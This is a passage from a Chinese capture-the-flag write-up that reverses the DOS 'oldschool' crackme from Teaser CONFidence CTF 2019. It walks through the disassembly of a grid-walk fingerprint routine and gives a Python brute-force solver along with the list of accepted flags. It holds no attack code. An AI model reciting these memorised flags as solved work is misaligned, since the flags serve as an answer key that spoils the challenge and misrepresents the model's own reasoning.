seg001:00B8                 jmp     short loc_1016B
seg001:00BA ; ---------------------------------------------------------------------------
seg001:00BA
seg001:00BA loc_101AA:                              ; CODE XREF: sub_10148+1B↑j
seg001:00BA                 cmp     al, 40h ; '@'
seg001:00BC                 jb      short loc_101B4
seg001:00BE                 sub     al, 41h ; 'A'
seg001:00C0                 add     al, 0Ah
seg001:00C2                 jmp     short loc_1016B
seg001:00C4 ; ---------------------------------------------------------------------------
seg001:00C4
seg001:00C4 loc_101B4:                              ; CODE XREF: sub_10148+21↑j
seg001:00C4                                         ; sub_10148+52↑j ...
seg001:00C4                 mov     dx, 0CAh
seg001:00C7                 mov     ah, 9
seg001:00C9                 int     21h             ; DOS - PRINT STRING
seg001:00C9                                         ; DS:DX -> string terminated by "$"
seg001:00CB                 jmp     loc_10120
seg001:00CE ; ---------------------------------------------------------------------------
seg001:00CE
seg001:00CE loc_101BE:                              ; CODE XREF: sub_10148+3A↑j
seg001:00CE                 mov     bx, si
seg001:00D0                 cmp     bx, 11h
seg001:00D3                 ja      short loc_101C7
seg001:00D5                 jmp     short loc_101CC
seg001:00D7 ; ---------------------------------------------------------------------------
seg001:00D7
seg001:00D7 loc_101C7:                              ; CODE XREF: sub_10148+7B↑j
seg001:00D7                 sub     bx, 12h
seg001:00DA                 mov     si, bx
seg001:00DC
seg001:00DC loc_101CC:                              ; CODE XREF: sub_10148+7D↑j
seg001:00DC                 jmp     short loc_10186
seg001:00DE ; ---------------------------------------------------------------------------
seg001:00DE
seg001:00DE loc_101CE:                              ; CODE XREF: sub_10148+3C↑j
seg001:00DE                 mov     bx, si
seg001:00E0                 cmp     bx, 8Fh
seg001:00E4                 jb      short loc_101D8
seg001:00E6                 jmp     short loc_101DD
seg001:00E8 ; ---------------------------------------------------------------------------
seg001:00E8
seg001:00E8 loc_101D8:                              ; CODE XREF: sub_10148+8C↑j
seg001:00E8                 add     bx, 12h
seg001:00EB                 mov     si, bx
seg001:00ED
seg001:00ED loc_101DD:                              ; CODE XREF: sub_10148+8E↑j
seg001:00ED                 jmp     short loc_10186
seg001:00EF ; ---------------------------------------------------------------------------
seg001:00EF
seg001:00EF loc_101DF:                              ; CODE XREF: sub_10148+32↑j
seg001:00EF                 mov     di, 0
seg001:00F2                 cmp     si, di
seg001:00F4                 jz      short loc_1017E
seg001:00F6                 mov     ax, si
seg001:00F8                 mov     bl, 12h
seg001:00FA                 div     bl
seg001:00FC                 cmp     ah, 0
seg001:00FF                 jz      short loc_1017E
seg001:0101                 mov     bx, si
seg001:0103                 dec     bx
seg001:0104                 mov     si, bx
seg001:0106                 jmp     short loc_1017E
seg001:0108 ; ---------------------------------------------------------------------------
seg001:0108
seg001:0108 loc_101F8:                              ; CODE XREF: sub_10148+34↑j
seg001:0108                 mov     di, 0
seg001:010B                 cmp     si, di
seg001:010D                 jz      short loc_1020D
seg001:010F                 mov     ax, si
seg001:0111                 mov     bl, 12h
seg001:0113                 div     bl
seg001:0115                 cmp     ah, 10h
seg001:0118                 jnz     short loc_1020D
seg001:011A                 jmp     loc_1017E
seg001:011D ; ---------------------------------------------------------------------------
seg001:011D
seg001:011D loc_1020D:                              ; CODE XREF: sub_10148+B5↑j
seg001:011D                                         ; sub_10148+C0↑j
seg001:011D                 mov     bx, si
seg001:011F                 inc     bx
seg001:0120                 mov     si, bx
seg001:0122                 jmp     loc_1017E
seg001:0122 sub_10148       endp

看到,si开始指向0x50偏移位置,而后置cx为9,循环9次,每次循环:
通过int 21h 读取两个字符(mov cx,2),其间会有一系列比较读入的字符,很显然保证输入为[0-9A-Fa-f],即16进制字符,看到如果不在范围内即会:

seg001:00C4                 mov     dx, 0CAh
seg001:00C7                 mov     ah, 9
seg001:00C9                 int     21h 
#输出0xCA偏移处字符串:Invalid input, bye bye!

当字符满足时会通过sub或者add获得字符对应的数值,而后:

seg001:007B                 mul     bl
seg001:007D                 add     dl, al
seg001:007F                 mov     bl, 1
seg001:0081                 loop    loc_10159

bl初始为0x10,这里因为会读取第一个字节mul bl而后置bl为1再读取第二个字节,所以dl中每两个字符其值为:input[0]*0x10+input[1],其实就是将此两位16进制字符转换成数字。而后其根据数字进行操作:

首先:
seg001:0086                 mov     al, dl
seg001:0088                 and     al, 1
和:
seg001:008E                 mov     al, dl
seg001:0090                 and     al, 2
即其会分别判断dl的末2bit值,然后判断si指针是否在界限内:
当si%0x12 >=0 and  si%0x12 <=0x10,
末位为0: si减小,末位为1: si增大
否则到达上界不再增加,下界不再减小
当si >=0x11 and si<=0x8F
倒数第二bit为0: si-=0x12,为1: si+=0x12
否则到达上界不再增加,下界不再减小
两个位置判断后将dl右移两位,并且si所在位置自增1:
seg001:0096                 push    cx
seg001:0097                 mov     cl, 2
seg001:0099                 shr     dl, cl
seg001:009B                 pop     cx
seg001:009C                 mov     bl, [si]
seg001:009E                 inc     bl
seg001:00A0                 mov     [si], bl
seg001:00A2                 loop    loc_10176
以此每两位字符转换成的数字以此处理4次:2*4=8bit,正好对应两位16进制字符

其实可以看出这是一个18*9的地图(正好对应最后的输出),边界为16*9,以我们的输入作方向进行移动,最后根据每个位置所经过步数对应预先定义的字母表,最终输出。
最后注意起始位置和结束位置:

seg001:0019                 call    sub_10148
seg001:001C                 mov     di, si
seg001:001E                 call    sub_10215
seg001:0021                 mov     al, 45h ; 'E'
seg001:0023                 mov     [di], al
seg001:0025                 mov     si, 0
seg001:0028                 mov     al, 53h ; 'S'
seg001:002A                 mov     [si+50h], al

起始位置0x50处为"S",结束位置(sub_10148返回si为最终位置)为"E"
对应flag.txt解即可,不过我以为解是p4{the_hex_string_we_input},但是提交不对,询问主办方,需要hex_string.decode('hex')=p4{[0-9a-z]+}
所以确定了开始"p4{"和结束"}",将得到的map简化并过滤字符求出满足条件的解即可:

# -*- coding: UTF-8 -*-
#get the map
key1=[
  0x20, 0x70, 0x34, 0x7B, 0x6B, 0x72, 0x75, 0x6C, 0x65, 0x5F, 
  0x63, 0x74, 0x66, 0x7D, 0x0A
]
key2="        4 {4pp           p {k4{ E         p 44p{ p           4 p                S                                                                                 "
key3=""
for i in range(len(key2)):
  if i%18==0:
    print key3
    key3=""
  if key2[i]=='E' or key2[i]=='S':
    key3+=str(i)+"\t"
  else:
    key3+=str(key1.index(ord(key2[i])))+"\t"
key4="011111010011001000010110011100110110011010010111001100000111011011010000"
flag=""
for i in range(1,10):
  flag+=hex(int(key4[72-i*8:72-i*8+8],2))[2:]

def step(s,x,y,map):
  dis=[]
  for o in map:
    dis.append(o)
  l=ord(s)
  for i in range(4):
    if l&1==0 and x!=0:
      x-=1
    if l&1==1 and x!=5:
      x+=1
    if l&2==0 and y!=0:
      y-=1
    if l&2!=0 and y!=3:
      y+=1
    if dis[y*6+x]==0:
      return False,0,0
    else:
      dis[y*6+x]-=1
      l=l>>2
  return True,x,y,dis

#确定开始"p4{"和结束"}"后简化了地图      
key=[
0,3,2,1,1,0,
1,4,2,3,0,1,
2,0,3,0,1,0,
0,0,0,0,0,0,
]
positon_x=1
position_y=2
k="0123456789abcdefghijklmnopqrstuvwxyz"
#5位过少,就没写递归循环,直接嵌套即可
for i in k:
    if step(i,positon_x,position_y,key)[0]==True:
        n,positon_x1,position_y1,ke1=step(i,positon_x,position_y,key)
        for j in k:
          if  step(j,positon_x1,position_y1,ke1)[0]==True:
            n,positon_x2,position_y2,ke2=step(j,positon_x1,position_y1,ke1)
            for d in k:
              if step(d,positon_x2,position_y2,ke2)[0]==True:
                n,positon_x3,position_y3,ke3=step(d,positon_x2,position_y2,ke2)
                for g in k:
                   if  step(g,positon_x3,position_y3,ke3)[0]==True:
                     n,positon_x4,position_y4,ke4=step(g,positon_x3,position_y3,ke3)
                     for p in k:
                        if step(p,positon_x4,position_y4,ke4)[0]==True:
                           n,positon_x5,position_y5,ke5=step(p,positon_x4,position_y4,ke4)
                           if step('}',positon_x5,position_y5,ke5)[0]==True:
                            print "p4{"+i+j+d+g+p+"}"
#output:
0   0   0   0   0   0   0   0   2   0   3   2   1   1   0   0   0   0   
0   0   0   0   0   0   0   1   0   3   4   2   3   0   32  0   0   0   
0   0   0   0   0   0   1   0   2   2   1   3   0   1   0   0   0   0   
0   0   0   0   0   0   0   2   0   1   0   0   0   0   0   0   0   0   
0   0   0   0   0   0   0   0   80  0   0   0   0   0   0   0   0   0   
0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   
0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   
0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   
p4{4qi2f}
p4{4qib6}
p4{4qibc}
p4{aqi2f}
p4{aqib6}
p4{aqibc}
p4{qi2fa}
p4{qib6a}
p4{qibca}
p4{ti2f1}
p4{tib61}
p4{tibc1}
[Finished in 1.0s]
#题目说明有多解,随意提交其中一个即可
文章首发先知社区:
https://xz.aliyun.com/t/4574

你可能感兴趣的:(Teaser CONFidence CTF 2019 p4fmt&&oldschool)